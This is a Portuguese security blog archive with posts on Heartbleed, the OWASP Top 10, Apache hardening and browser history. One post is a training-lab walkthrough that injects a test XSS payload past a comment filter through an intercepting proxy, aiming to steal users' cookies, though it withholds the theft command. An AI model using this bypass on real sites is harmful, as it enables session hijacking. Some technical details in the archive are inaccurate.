Notícia - O navegador via torrent (Maelstrom)

"O BitTorrent disponibilizou hoje [(10 de abril de 2015)] a primeira versão beta do Maelstrom, navegador da empresa que usa o conceito do torrent para distribuir o acesso à internet.

Por enquanto, só quem usa Windows poderá baixar a novidade, que segundo o BitTorrent já conta com mais de 10 mil usuários desenvolvedores e outros 3,5 mil publicadores - que tiveram acesso antecipado.

Construído sobre a mesma arquitetura do Chrome, o navegador faz com que páginas não precisem ser hospedadas em um servidor; ao invés disso, são os próprios internautas que as mantêm no ar - exatamente como ocorre com arquivos torrent.

Quando uma página torrent (como eles chamam esses sites) é colocada no ar, seu publicador fica sendo o hospedeiro. Assim que recebe uma visita pelo Maelstrom, o visitante passa a dividir a hospedagem; quando um terceiro internauta chegar ao endereço, fará a conexão com dois “servidores" e ainda se tornará mais um.

Essa arquitetura, segundo o BitTorrent, serve tanto para democratizar a distribuição da internet quanto para inviabilizar os ataques de negação de serviço, um dos métodos mais eficazes de se derrubar um site atualmente.

Para baixar, clique aqui."

Fonte: Olhar Digital

---------------------------

Amigos leitores, esse projeto, sem dúvidas, é um dos mais interessantes que já vi no mundo da tecnologia, pois ele é uma ferramenta interessante para que a real descentralização da internet ocorra o mais rápido possível.

Um dos avanços mais notáveis é o "anti-ddos embutido" que faz com que o site não possa ser interrompido por causa de um ataque direcionado de negação de serviço. Nesse caso, a lentidão pode ser possível se um mapeamento dos que têm "uma parte" do site for feito e estes forem "atacados" por uma rede zumbi ("botnet") pois assim, o número de servidores ("seeds") se reduzirá e possivelmente os restantes ficarão sobrecarregados para carregar a página (algo, que sinceramente, penso ser muito difícil de ser feito facilmente).

Talvez uma falha de segurança, seria um possível armazenamento de logins e senhas, pois essa "parte" do site poderia estar armazenada em qualquer computador e não é muito difícil montar uma escuta ("sniffer") numa rede nesse sistema compartilhado de conteúdo. Para que isso não ocorresse, três coisas poderiam ser feitas, o site ter os dados sensíveis somente no servidor da empresa; ou então utilizar-se uma criptografia "pesada" (ação que não garantiria muita segurança, por causa das "quebras de senha" (ataques de força bruta) "brute force"); ou então somente sites de "exibição de conteúdo" ou "estáticos" (sem a troca de informações pessoais), seriam os mais fáceis de "migrar" para a "nova internet".

Links Extras

Página do blog de anúncio do lançamento do Maelstrom (em inglês): Clique aqui

Funcionamento do sistema de torrent (ou protocolo P2P): Clique aqui para saber mais.

E você? Tem mais alguma ressalva à aplicação desse sistema? Tem alguma sugestão? Então entre no nosso grupo no Facebook.

Até a próxima!

Read More

Monitorando mudanças em websites

Olá pessoal!

Descobri recentemente uma ferramenta no mínimo curiosa.

A ferramenta em questão se chama Website-Watcher e seu objetivo é monitorar mudanças em sites. Ai você pode me perguntar, mas por quê vou querer monitorar mudanças em sites?

Os usos são muitos. Pode ser para substituir o RSS caso não goste dele, monitorar novos posts, novos tópicos em fóruns e listas de discussão, levantamento de informações, ou apenas monitorar por curiosidade.

Não sei vocês mas esta ferramenta vai me ajudar bastante. Já consegui pensar em certos usos para ela...

Esta ferramenta é paga mas tem um trial de 30 dias. Possivelmente existem ferramentas gratuitas que fazem a mesma coisa, e também não é algo tão complexo que não possa ser feito uma versão sua.

Caso queiram mais detalhes podem olhar aqui!

E era isso!

Até a próxima.

Read More

Vulnerabilidades no WhatsApp Web afetam 200 milhões de usuários

Graves falhas na versão Web do WhatsApp podem ser exploradas.

O ataque pode enganar vítimas a instalarem malwares nas máquinas, de uma forma muito sofisticada.

O pesquisador de segurança Kasif Dekel da Check Point descobriu que com esta falha, o atacante simplesmente precisa mandar um vCard com informações de um contato, contendo um código malicioso. Assim que o WhatsApp Web abre o vCard o código executa e o malware infecta a máquina.

Para propagar seu malware, o atacante só precisa de um número de celular. O serviço permite que qualquer tipo de arquivo seja anexado, sendo ele, image, video, audio, local, contatos e outros.

Em setembro de 2015 o WhatsApp anunciou que chegou ao número de 900 milhões de usuários ativos no mês, e pelo menos 200 milhões de mensagens apenas na versão web. Como o serviço sincroniza entre todas as plataformas, as mídias e arquivos também são sincronizados.

O WhatsApp já está sabendo e já corrigiu este erro. A correção foi lançada no dia 27 de Agosto de 2015 e todas as versões devem ser atualizadas. A versão corrigida é a v0.1.4481, todas a partir desta estão devidamente corrigidas.

Fonte: Net-Security

Read More

Segurança Digital - Navegadores - Parte 1

No artigo de hoje, falaremos sobre navegadores web, mas antes de chegar ao ponto em que queremos, vai ser necessário utilizar de uma abordagem histórica sobre a internet, para poder entender com mais clareza como funciona os navegadores, e porque andam em pé de igualdade com a internet. Abordaremos a história da internet de forma cronológica e simples para melhor seu melhor entendimento, e também, por ser um conteúdo extenso e que se formos se aprofundar nele, consequentemente, teríamos umas 10 mil linhas para escrever aqui.

Cronologia

De forma resumida e com citação de pontos importantíssimos para a evolução da internet até a era dos navegadores modernos e de sites mais amigáveis para o público.

Entre 1950 e 1960 – É criada a ARPA (Advanced Research Project Agency), órgão de Pesquisa do Departamento de Defesa dos Estados Unidos.

Em 1965 – Aconteceu a primeira troca de mensagens entre computadores. Mas por falta de fontes confiáveis, alguns pesquisadores acreditam que possa ser uma falsa noticia.

Em 1969 – A Rede ARPAnet já estava em funcionamento, e como seu nome sugeria, foi criada pelo órgão de pesquisa ARPA. A princípio interligava apenas a Universidade da Califórnia: Los Angeles e Santa Bárbara; Instituto de pesquisa de Stanford e a Universidade de Utah.

Em 1971 – Criação do E-mail pelo engenheiro americano Ray Tomlinson.

Em 1974 – Criação do Protocolo TCP/IP pelos pesquisadores Robert Kahnet e Vint Cerf.

Em 1976 – A ARPAnet adota a nova padronização de Protocolos.

Entre 1980 e 1981 - Misturam-se três mundos distintos: militares, cientistas e universidades. Esta mistura surge como consequência da criação de duas redes ligadas a instituições universitárias e científicas americanas: a BitNET (Universitária) e a CSNET (científica); vindo a potenciar o aparecimento de uma rede alargada com múltiplas aplicações.

Em 1983 – É criada a MILnet, uma rede dedicada a comunicação entre os órgãos de Defesa Norte Americano.

Em 1984 – É introduzido um novo sistema para nomear domínios na Internet, conhecido hoje em dia com DNS(Domain Name System).

Em 1986 – É criada a NSFNET, pela Fundação Nacional de Ciência(NSF -National Science Foundation) dos Estados Unidos.

Em 1990 – A ARPANET deixa de Existir, e é integrada a NSFNET; é criado um novo protocolo de navegação, conhecido como HTTP, e também, a linguagem de marcação HTML, por Tim Berners-Lee, pesquisador da CERN (Conselho Europeu de Pesquisa Nuclear) em genebra. Lançado também o primeiro Provedor de Internet Privado nos Estados Unidos.

Em 1991 – É lançada a World Wide Web (WWW) pela CERN.

Nossa Cronologia acaba aqui.

Obviamente após 1991, começaram a nomear a NSFNET como Internet, pela intensa popularização que a mesma foi ganhando nos anos seguinte. Em 1996, começa a guerra dos Browsers, no qual, trouxe consigo a era do desenvolvimento de Softwares em massa. Modernização de sistemas operacionais, formas de se navegar na internet, entre vários surgimentos de tecnologias inovadoras, acarretaram como consequência, a criação de várias empresas focadas em desenvolvimento. Sem tal ato, talvez hoje não tivéssemos a facilidade que temos em navegar na internet.

Modernização de Navegadores Web

Imagine você não podendo ver um vídeo em boa qualidade como se vê hoje no Youtube, ou não poder acessar com facilidade uma rede social como facebook; ou ainda ter que enfrentar novamente a lentidão da internet discada (56kbps). Claro, apesar de ser uma baixa velocidade se comparados às oferecidas pelos provedores que temos disponíveis hoje em dia; anos atrás, essa velocidade seria ótima para carregar as paginas web, que em sua maioria, utilizavam apenas textos, pois naquela época o HTML ainda estava em suas primeiras versões (E sabemos que textos são leves, dependendo também do quanto de caracteres ele possui).

Hoje, a maioria dos sites possuem SHTML, XHTML ou HTML5, e são versões suportadas pelos navegadores Web, sendo o HTML5 a versão mais recente e que oferece melhores ferramentas para desenvolvedores. Os navegadores Web modernos, ainda possuem compatibilidade com versões mais antigas do HTML.

Caso Sinta interesse em aprender sobre HTML5, Clique aqui e veja este Curso Gratuito.

Observe o Portal Terra em 2000:

E agora observe o Portal Terra em 2015:

Existe uma grande diferença no design do terra, muita coisa mudou nessa parte. Porém, muita coisa mudou por dentro também, em seu código fonte, pois foi se adaptando no decorrer dos anos as transições no qual o HTML foi passando, consequentemente, evoluiu junto dele. Não vamos nos aprofundar nisso, apenas de passagem para um melhor entendimento.

Funcionamento dos Navegadores WEB

Entre os navegadores mais usados pelo Mundo, estão Google Chrome, Mozilla Firefox, Safari(MAC), Opera e Internet Explorer(finado). O que interliga eles, são a semelhanças oferecidas na interface do Usuário, como exemplo:

- Barra de endereço para inserção do URL 
- Botões voltar e avançar 
- Opções para adicionar favoritos 
- Histórico de Navegação
- Plugins 
- Complementos
- Speed Dial
- Botões atualizar e parar para atualizar e parar o carregamento dos documentos atuais 
- Botão Início que o leva à página inicial 
- Opção para Navegação Anônima, no qual não armazena nenhum histórico quando ativada.

Porém, esse é o padrão que pode servir de semelhança entre os navegadores. Mas, cada um tem um diferencial à parte, pois o Firefox possui seu próprio gerenciador de downloads, o Opera Browser foi o pioneiro do Speed Dial, por exemplo. São pequenas características, que os difere dos outros.

Enquanto que seu funcionamento, eu caracterizo os navegadores, como interpretes de sistemas web. Pois cada site, hoje em dia, são complexos por possuírem um verdadeiro sistema por trás de suas paginas de leitura, como exemplo o Google, Facebook, Yahoo, MSN e dentre outros, que chega a ser difícil medir sua magnitude. Quando o conteúdo é solicitado, o mecanismo de renderização é responsável pela exibição do conteúdo solicitado. Por exemplo, se o conteúdo solicitado estiver em HTML, ele é responsável pela análise do HTML e do CSS e pela exibição do conteúdo analisado na tela. Também possuem um Interprete de Javascript, que ao analisar os códigos javascript, retorna o resultado em pagina web para o usuário.

Cookies e Cache

Cookies são os testemunhos de uma conexão, onde, na maioria dos sites que você visita, cria um arquivo, para armazenar dados que neles foram adquiridos, como exemplo: Você para acessar o seu Facebook, é exigido que o seu navegador esteja habilitado a opção de Cookies (é padrão, então já vem habilitado), para que quando você digite seu email e senha, eles possam ser armazenados nesse pequeno arquivo que seu navegador armazena em uma pasta oculta do seu computador, para que a ligação entre o site e o seu computador possa ser possível. E esse cookie que foi criado para o Dominio http://www.facebook.com/, funcionará apenas nesse domínio, assim que para acessar o domínio http://www.brutalsecurity.com.br/ seja necessário que outro arquivo cookie seja criado. Em claras palavras, são únicos para cada site que solicitar armazenamento.

Enquanto que caches, servem para armazenas dados das páginas web que você visitou. A exemplo, se na primeira vez que você visitou, certo site parecia carregar de forma lenta, após armazenar um arquivo cache na memória do navegador, na próxima vez que tentar acessar o site, será com mais rapidez. A exemplo do cookie, cache são únicos para qualquer site.

Terminamos por aqui a Primeira Parte, no próximo artigo, falaremos sobre Navegação e Segurança. Obviamente, tentei deixar tudo em uma linguagem mais clara para nossos visitantes que estão começando.

Divulgue, para sua família, Amigos e Inimigos(Por que não?), vamos tentar transformar a internet em um lugar melhor :)

Até a próxima!

Read More

Book Review: The Web Application Hacker's Handbook

Sinopse

O livro de maior sucesso de segurança retorna com uma nova edição completamente atualizado! Aplicações Web são a porta de entrada da maioria das organizações, pode-se ataca-las para conseguir alguma informação pessoal, executar transações fraudulentas, ou comprometer os usuários. Este livro prático foi completamente atualizado e revisado para passar as mais novas técnicas, passo a passo, para atacar e defender uma gama de aplicações web e serviços que ainda estão em plena evolução. Você vai explorar diversas novas tecnologias empregadas em aplicações web que apareceram desde a primeira edição e ver alguns dos novos ataques que foram desenvolvidos, principalmente do lado do cliente.

• Revelamos como burlar as mais novas tecnologias e técnicas para defender as aplicações web contra esses ataques.
• Discussões sobre os novos frameworks como por exemplo HTML5, técnicas de integração cross-domain, framebusting, Paramentros HTTP, redirecionamento de interfaces de usuário, ataques híbridos e muito mais.
• Uma aplicação web vulnerável hospedada pelos autores para permitir que os leitores testem os ataques descritos, respostas para os questionários presentes no final de cada capitulo e com uma metodologia de rápido aprendizado.

Focado na área de segurança de aplicações web, principalmente onde as coisas mudaram nos últimos anos, este livro é o recurso mais recente para o aprendizado de descoberta, exploração e prevenção de falhas em aplicações web.

Traduzido e adaptado da Amazon

Review

Então, como muitos devem ter visto no grupo do Facebook da Brutal Security, eu recebi a alguns dias dois livros que comprei recentemente, um deles este que estou fazendo review. A sinopse afirma que veremos novas técnicas e muita prática. Isso é verdade, temos muita coisa nova, algumas até bem complexas de entender, mas o livro é muito bom e os capítulos são bons de ler, muito pouco daquele "tecniquês" cheio de termos e textos complexos. Mas não se preocupe, o livro também tem os clássicos SQLi, XSS e outros, para você que está começando ou tem uma noção. Sobre o livro ser todo prático não é bem assim, cerca de metade do livro (algo próximo de 500 páginas) é quase 100% teórico, o que não é uma coisa ruim, já que a idéia do livro é ensinar o leitor a entender, detectar, explorar e defender falhas em aplicações web. Se fosse só prático o livro formaria apenas utilizadores de ferramentas, o que é algo muito ruim, já temos muitos script kiddies por ai. :D

The Web Application Hacker's Handbook é bem focado, tendo um capítulo de muitas páginas para cada tipo de falha (são uns 12 capítulos), e como comentei antes, metade é teórico para o leitor entender porque aquilo acontece e como identificar, para poder detectar em todo tipo de caso, diferente dos tutoriais que temos na internet que mostram um caso isolado onde aquilo só funciona daquele modo, se um detalhe mudar, os "atacantes" não saberão o que fazer.

Outro ponto fenomenal do livro é a aplicação web que os autores disponibilizaram para os leitores. No livro, ao final da explicação de cada falha você verá uma URL para a aplicação vulnerável com a falha relacionada ao que você leu para poder testar as técnicas que aprendeu. O diferencial é a quantidade de variantes que eles possuem e a similaridade com a realidade. Claro, no início do livro as falhas são bem simples e bobas, você acha que no mundo real não é assim (as vezes é viu...), mas com o avanço no livro as técnicas vão ficando bem complexas, similar a o que temos hoje por ai em ecommerces e web banking. E uma última coisa, ao final de cada capítulo existe um questionário caso queira testar seus conhecimentos, as respostas das perguntas estão no mesmo site das falhas.

Finalizando, super recomendo esse livro. Já tinha ele em formato digital a muito tempo mas nunca tinha lido mais do que o primeiro capítulo, nunca tinha me chamado a atenção, até que fiquei completamente desconectado e sem o que fazer e encontrei ele na biblioteca da facul. Comecei a ler lá mesmo e cheguei na metade, foi o suficiente para comprar o livro para terminar de ler e ter em casa para consultas futuras. O livro é bom para pessoas que estão começando na área, pessoas que já tem um certo conhecimento e para o pessoal que já manja, mas quer dar uma atualizada nos conhecimentos.

Como de costume, segue o link para a Amazon. Aproveitando, o livro está com um precinho muito bom lá, em lojas do Brasil pode chegar (e até passar) de R$ 200,00 então corre lá!

Read More

Heartbleed: o bug que faz o SSL sangrar...

No dia 07/Abril foi divulgado um bug muito sério no OpenSSL, batizado de Heartbleed(CVE-2014-0160), que é causado por uma falha de implementação no TLS que permite ao atacante obter dados da memória do servidor.

Explorando essa vulnerabilidade, um atacante consegue obter vários blocos aleatórios da memória do servidor SSL, de 64 KB de tamanho cada, e assim remontar esses blocos de dados e ter acesso aos dados que estão sendo tratados pelo servidor, tais como os dados criptografados na navegação do usuário (mensagens, senhas, etc) e até mesmo as próprias chaves de criptografia utilizadas pelo servidor.

O Bruce Schneier (pausa para babação de ovo) considerou o bug do Heartbleed como uma vulnerabilidade catastrófica ("de 0 a 10, merece 11"). 

Mas não é para menos, pois essa vulnerabilidade na biblioteca criptográfica do OpenSSL afeta milhões de servidores web em todo o mundo, uma vez que o OpenSSL é utilizado nos servidores Apache e nginx, dois dos softwares mais populares para servidores web: os dois juntos representam cerca de 66% dos sites ativos na Internet. Além disso, o OpenSSL é usado para proteger servidores de e-mail, é usado em redes privadas virtuais (SSL VPNs), e até mesmo em dispositivos de rede e diversos outros softwares.Segundo estimativas da Netcraft, 17,5% dos servidores SSL em todo o mundo estão vulneráveis ao bug, representando cerca de meio milhão de sites.

Oh! E agora, quem poderá nos defender?

• O pessoal do OpenSSL publicou um pequeno Advisory que indica quais são as versões vulneráveis: 1.0.1 e 1.0.2-beta, incluindo todas as versões até 1.0.1f e 1.0.2-beta1.
• Para corrigir o problema, deve-se fazer o upgrade para a versão 1.0.1g ou recompilar o seu OpenSSL com a opção -DOPENSSL_NO_HEARTBEATS
• Teste se a sua versão do OpenSSL é vulnerável
• O site do Heartbleed tem muita informação sobre o bug em formato de uma longa FAQ
• O Sandro Suffert publicou uma lista com vários detalhes e dicas

Fonte: AnchisesLandia

Read More

Introdução à Segurança da Informação - Parte 10

E ai pessoal!

Esta semana eu participei da gravação do webinar da Clavis sobre OWASP Top 10 e como não poderia ser diferente, o próximo post do guia teria que ser sobre as principais vulnerabilidades de aplicações web.

Antes de mais nada, acredito que já saibam quem é a OWASP e o que é o OWASP Top 10 então não vou perder muito tempo com isso, se você não conhece absolutamente nada ou muito pouco sobre a OWASP ou sobre o Top 10 acesse o site da OWASP.

O Top 10 de mais conhecidas e exploradas vulnerabilidades de aplicações web teve uma atualização esse ano, mas pouca coisa mudou, alguns tópicos foram unidos, outros mudaram de posição e algumas novidades surgiram, mas apenas mudando a ordem, as ameaças "de sempre" continuam lá. Vamos ver elas uma a uma.

A1 - injection

Quando falamos de injection o que vem a cabeça é o famoso SQL Injection, mas não é só isso, injection é tudo que pode ser passado como parâmetro e uma aplicação vulnerável vai recebe-lo e será executada em algum lugar, como em um banco de dados, em sistemas como LDAP ou até mesmo na shell do sistema operacional. Isso quer dizer que o famoso SQL Injection é apenas uma das variantes desse tipo de ataque.

A2 - Broken Authentication and Session Management

Algumas aplicações que envolvem autenticação e gerenciamento de sessão normalmente não são implementadas corretamente permitindo que atacantes comprometam senhas, tokens e outras ferramentas de autenticação apenas manipulando URL's e alguns parâmetros, ou até mesmo elevando seus privilégios na aplicação para um ataque maior.

A3 – Cross-Site Scripting (XSS)

O XSS é basicamente um tipo de injeção, normalmente voltado ao usuário e seu browser específico, onde passando uma url com um código malicioso, ou de algum modo injetando isso para que quando a página seja carregada esse código seja carregado e infecte a vítima, ou mande seus dados de sessão para o atacante, ou fazendo um defacement no site, ou também enviando o usuário a um site malicioso.

A4 – Insecure Direct Object References

Uma referência dessas ocorre quando um desenvolvedor expõe uma referência a uma implementação de um objeto interno como um diretório, arquivo ou banco de dados. Sem um certo controle ou proteção, um atacante pode manipular essas referências e obter acesso não autorizado a estes arquivos.

A5 – Security Misconfiguration

Uma boa segurança requer ter uma aplicação bem configurada, tanto quanto frameworks, servidor, banco de dados, plataforma e tudo mais. Manter as configurações na instalação Default é normalmente inseguro. Manter softwares sempre atualizados é uma boa prática.

A6 – Sensitive Data Exposure

Muitas aplicações web não protegem de uma forma eficaz informações sensíveis, como número de cartão de crédito, CPF e credenciais. Atacantes mal intencionados podem roubar esses dados ou modifica-los para outros ataques, como engenharia social e roubo de identidade e outros. Esse tipo de informação necessita uma proteção extra como por exemplo uma boa criptografia e precaução quando são transmitidas com os browsers.

A7 – Missing Function Level Access Control

Boa parte das aplicações web atuais verificam todas as informações de permissão de acesso antes de torná-las visíveis em sua interface. Normalmente essas aplicações precisam fazer as mesmas verificações com o servidor, se essas requisições não forem verificadas e propriamente tratadas, os atacantes podem forjar requisições para tentar obter acesso não autorizado a certas informações.

A8 - Cross-Site Request Forgery (CSRF)

Um parente próximo do XSS, esse tipo de ataque força um usuário logado a mandar uma requisição HTTP e incluindo nela seu cookie e outras informações de autenticação para uma aplicação vulnerável. Isso permite que um usuário mal intencionado force o browser da vítima a gerar requisições em seu nome convencendo o servidor de que essas requisições são legítimas da vítima.

A9 - Using Components with Known Vulnerabilities

Basicamente é manter sua aplicação desatualizada, em uma versão com vulnerabilidades conhecidas e disponibilizadas publicamente. Normalmente essas aplicações rodam com todos os privilégios no sistema, se esta aplicação for explorada o atacante pode ter acesso total ao sistema em que a aplicação está rodando.

A10 – Unvalidated Redirects and Forwards

Aplicações web frequentemente redirecionam usuários para outras páginas e sites. Sem uma validação nesses dados de redirecionamento, pode-se redirecionar uma vítima para uma página com malware ou phishing, ou acessar conteúdo não autorizado.

Isto é uma explicação básica da atualização deste ano do OWASP Top 10. Nos próximos posts dessa série vamos ver na prática alguns exemplos de cada uma dessas categorias. Assim que o webinar for disponibilizado pela Clavis eu atualizo este post com o vídeo ou o link.

Até lá!


EDIT: Segue ai o vídeo do Webinar da Clavis.

Read More

Explorando XSS com o OWASP ZAP

Estou praticando a alguns dias minhas habilidades de segurança em geral no projeto Hacking-Lab da OWASP. Já postei aqui sobre esse projeto, ele está cada vez maior, com mais desafios e cada vez com mais empresas olhando. Recomendo a todos que criem uma conta, estudem pelos links disponibilizados nos próprios desafios e tente resolver os desafios. Já houve casos de contratação por empresas gigantescas através dos resultados no site.

Hoje resolvi o desafio de XSS na categoria OWASP Top 10, e tive que aprender algumas coisinhas para que tudo funcionasse, veja aqui algumas dicas (sim, não vou entregar tudo se não entrego a resposta do desafio :D ) que tive que aprender para resolver o desafio: 

Vamos pular a parte de baixar e configurar todo o lab, se vire com isso :)

O objetivo do desafio é que eu consiga postar nos comentários de um site específico deles um código malicioso que capture e envie para um site meu os cookies de todos os usuários autenticados que abrirem a página de comentários.

Antes de mais nada eu precisava descobrir algum lugar que fosse vulnerável a XSS, nas dicas do site tinha que eu deveria comprar uns sinos para vacas personalizados (sim o site é um e-commerce disso) para poder ver a área de comentários. Após colocar alguns sinos no carrinho finalizei a compra (com um cartão e usuários fictícios) tive acesso a área de comentários. Fiz então o que qualquer um faria, testar se o campo era vulnerável, colocando um código javascript no comentário e obtive a resposta de que o comentário só poderia conter letras, números, pontos e vírgulas, então meu código não iria funcionar. O código que eu usei foi o seguinte:

< script>alert("teste XSS")</ script>

Como não posso usar nenhum símbolo o que eu posso fazer? Depois de pensar muuuuito eu lembrei de uma das minhas aulas da Clavis onde demos uma leve passada por uma tool chamada Burp Suite, que uma de suas funções é manipular os GETS, POSTS e tudo mais de uma aplicação web, com isso quem sabe eu poderia manipular depois desse teste meu input e assim explorar o XSS.

Depois de muito procurar na distro disponibilizada pelo hacking-lab percebi que eles não tinham o Burp Suite disponível para uso e então fui em busca do download pelos repositórios que também não tinham. Apos algumas buscas no Google consegui baixar mas não consegui usar, parece que não tem java essa vm...

Depois de perder um bom tempo dando voltas achando um modo de fazer aquilo funcionar decidi dar uma olhada nas tools que eles tinham disponíveis, e eis que encontro um tal de OWASP ZAP. Novamente fui para as buscas e manuais para aprender como usar e configurar essa tool e vi que não é muito difícil, no próprio site da tool tem tudo explicadinho.

Após tudo configurado e funcionando vamos ao site alvo. O OWASP ZAP é bem similar ao Burp Suite no que eu sei usar então não foi uma adaptação muito difícil.

O Firefox da VM tem um plug-in já configurado com o proxy do ZAP, só ativar e iniciar a interceptação no proxy, clicando nas duas setas verdes na barra de ferramentas, sendo uma delas para interceptar as requisições e a outra para as respostas do servidor.

Agora com tudo pronto vamos a exploração. Coloco qualquer coisa no campo de comentário e assim que eu clicar em adicionar (Add) eu já vou ter um resultado no ZAP.

Repare que no final da terceira linha eu tenho um parâmetro chamado comment=teste, vamos alterá-lo para nosso código malicioso de teste e ver o que acontece:

E ai está! Consegui burlar o filtro e injetar meu código que vai rodar para todos os usuários que visualizarem a página com os comentários. Agora para o desafio, só precisamos alterar o comando para o comando que manda o cookie, mas isso eu deixo para vocês para completarem o desafio.

Bons estudos!

Read More

Infográfico de Labs de Pentest

Procurando algumas aplicações vulneráveis para testar seus conhecimentos? De uma olhada no infográfico abaixo:

O site amanhardikar.com criou este esquema para você conhecer, testar e organizar seu lab de pentest. Para mais informações sobre download das vm's e aplicações disponíveis acesse o site.

Read More

Material free sobre hardening – Cisecurity

Já comentei por aqui sobre o acervo de guides focados em segurança do Cisecurity - Center for Internet Security - Uma organização, sem fins lucrativos, que tem como objetivo auxiliar na disseminação de conhecimentos sobre cyber security para as pessoas e para as empresas.

A Cisecurity possui, em minha opinião, alguns dos melhores guides sobre hardening, que abordam quase todos os sistemas operacionais conhecidos – Solaris, HP-UX, windows, Linux (RedHat,Debian), FreeBSD e tantos outros. Além de equipamentos de redes, como Cisco e Juniper, Virtualização, WebServers- Apache e IIS e tantos outros. Deem uma olhada no seguinte link.

Falando de guides. Eu acabei de revisar o que fala sobre o Apache 2.4. Saiu do forno há poucos dias e posso dizer que ele está excelente. As mitigações quanto aos ataques DDoS Layer 7, configurações de timeouts e tantos outros funcionam. É mais do que recomendado para aqueles que trabalham administrando servidores Apache. O seu download poderá ser feito a partir do seguinte link.

Ponto de atenção: Eu enviei um e-mail para o pessoal do instituto questionando quanto a criação de guias para os seguintes produtos, e aproveitei para me oferecer como revisor:

• Nginx 
• Varnish 

Veremos o resultado. :)

Mais um post ótimo do Coruja de TI.

Read More

10 dicas para manter seu servidor web Apache seguro

Se por acaso você tiver um servidor web confira aqui 10 dicas para deixar seu servidor mais seguro.

1. Desative módulos desnecessários

Se você está instalando o apache pelo seu código fonte você deve desativar alguns módulos. Se você usar o ./configure —help você verá todos os módulos que podem ser ativados ou desativados. Antes de desativar confira se não vai necessitar de um desses módulosOs principais são:

userdir – Mapeamento de diretórios específicos de usuários
autoindex – Lista os diretórios quando o index.html não estiver presente
status - Mostra o status do servidor
env - Limpar e configurar variáveis de ambiente
setenvif - Colocar variáveis de ambiente nos cabeçalhos
cgi - Scripts CGI
actions - Ações disparadas em certas requisições
negotiation - Negociação de conteúdo
alias - Mapeamento de requisições para diferentes sistemas de arquivos
include - Declarações server side
filter - Filtro de requisições
versão - Manipulação de informações de versão e arquivos conf
as-is - arquivos as-is

Desabilite isso tudo na hora do comando ./configure, conforme exemplo:

./configure \
--enable-ssl \
--enable-so \
--disable-userdir \
--disable-autoindex \
--disable-status \
--disable-env \
--disable-setenvif \
--disable-cgi \
--disable-actions \
--disable-negotiation \
--disable-alias \
--disable-include \
--disable-filter \
--disable-version \
--disable-asis

Se você habilitar o ssl, terá de habilitar o mod_setenv, se não receberá o erro:

Error: Syntax error on line 223 of /usr/local/apache2/conf/extra/httpd-ssl.conf: Invalid command ‘BrowserMatch’, perhaps misspelled or defined by a module not included in the server configuration

Após a instalação, você pode ver o que está instalado com o comando httpd -l:

/usr/local/apache2/bin/httpd -l
Compiled in modules:
core.c
mod_authn_file.c
mod_authn_default.c
mod_authz_host.c
mod_authz_groupfile.c
mod_authz_user.c
mod_authz_default.c
mod_auth_basic.c
mod_log_config.c
mod_ssl.c
prefork.c
http_core.c
mod_mime.c
mod_dir.c
mod_so.c

Neste caso, temos os seguintes módulos instalados:

core.c – Módulos principais do apache
mod_auth* – Módulos para autenticação
mod_log_config.c – Módulo para tratamento de logs
mod_ssl.c – Para SSL
prefork.c – Para MPM
httpd_core.c – Módulos principais do apache
mod_mime.c – Configurações do MIME
mod_dir.c – Módulo para redirecionamentos de diretórios para a index.html
mod_so.c – Para iniciar módulos no início e reinício

2. Rode o apache em um usuário e grupo separado do resto

Por padrão, o apache roda como nobody ou daemon. É bom rodar o apache com seu próprio usuário sem privilégios. Por exemplo um usuário chamado apache.

Vamos então criar o usuário e o grupo e configurar para ser o padrão do apache

groupadd apache
useradd -d /usr/local/apache2/htdocs -g apache -s /bin/false apache

vi httpd.conf
User apache
Group apache

Após isso, reinicie o apache, e com o comando ps -ef você verá que o apache está rodando no usuário apache.

3. Restrinja o acesso aos diretórios (com deny, allow)

Para isso, defina isso no arquivo httpd.conf:

Options None
Order deny,allow
Deny from all

Isto quer dizer:

Options None – Marcando isto como None vai evitar que alguma opção a mais seja habilitada
Order deny,allow – Isso é como as ações deveram ser seguidas. Usando deny,allow, todas as funções deny serão executadas por primeiro.
Deny from all – Isso remove o acesso a todos dos diretórios raiz. Como não tem nenhuma opção allow todos permanecem sem acesso a raiz.

4. Defina permissões apropriadas para os diretórios conf e bin

Estes diretórios devem ser acessados apenas por usuários autorizados. É uma boa idéia criar um grupo e adicionar todos os usuários que devem acessar e bloquear para todo o resto. Vamos chamar esse grupo de apacheadmin.

groupadd apacheadmin

chown -R root:apacheadmin /usr/local/apache2/bin
chmod -R 770 /usr/local/apache2/bin

chown -R root:apacheadmin /usr/local/apache2/conf
chmod -R 770 /usr/local/apache2/conf

vi /etc/group
apacheadmin:x:1121:user1,user2

5. Remova navegação por diretórios 

Se você não fizer isso, todos os usuários poderão ver todos os arquivos e diretórios, desde a raiz.


Para isso apenas precisamos colocar o None ou -Indexes como parâmetro nos arquivos de configuração:

Options None Order allow,deny Allow from all

ou

Options -Indexes
Order allow,deny
Allow from all

6. Não libere o .htaccess 

Usando o .htaccess dentro de um diretório, os usuários podem reescrever todas as diretivas do apache. Em algumas situações isso é bom, mas este arquivo deve ser evitado.

Precisamos usar a opção "AllowOverride None" para remover o .htaccess:

Options None
AllowOverride None
Order allow,deny
Allow from all

7. Desabilite outras opções

Segue algumas outras opções:


Options All – Todas as opções são habilitadas (exceto MultiViews). Se você não especificar nada, este é o estado padrão.
Options ExecCGI – Executa os scripts CGI (uses mod_cgi)
Options FollowSymLinks – Se você tiver links simbólicos eles serão seguidos
Options Includes – Permite includes server side (usando mod_include)
Options IncludesNOEXEC – Permite includes server side sem a possibilidade de rodar comandos ou scripts
Options Indexes – Remove a listagem de diretórios
Options MultiViews - Permite content negotiated multiviews (usando mod_negotiation)
Options SymLinksIfOwnerMatch – Similar ao FollowSymLinks. Mas, apenas se o dono do link e do diretório que aponta são os mesmos

Nunca especifique ‘Options All’. Sempre use uma ou mais das opções acima (você pode usar várias em conjunto).

Veja alguns exemplos:

Options Includes Indexes
AllowOverride None
Order allow,deny
Allow from all

Options -Includes +FollowSymLink
AllowOverride None
Order allow,deny
Allow from all

8. Remova os módulos DSO desnecessários

Se você carregou algum módulo dinâmico compartilhado no apache, ele estará presente dentro do httpd.conf dentro de "LoadModule".


Comente todas as linhas desnecessárias.

9. Remova o acesso a uma rede específica

Se você quer que seu site seja visto apenas por um range de ip específico ou por uma rede use o seguinte: 

Options None
AllowOverride None
Order deny,allow
Deny from all
Allow from 10.10.0.0/24

Ou

Options None
AllowOverride None
Order deny,allow
Deny from all
Allow from 10.10.1.21

10. Não mostre e nem envie informações com a versão do apache

Por padrão, um servidor HTTP responde nos cabeçalhos a versão do apache e do php. Isso a princípio é inofensivo, mas se pudermos remover essa informação de um possível atacante podemos melhorar nossa segurança.

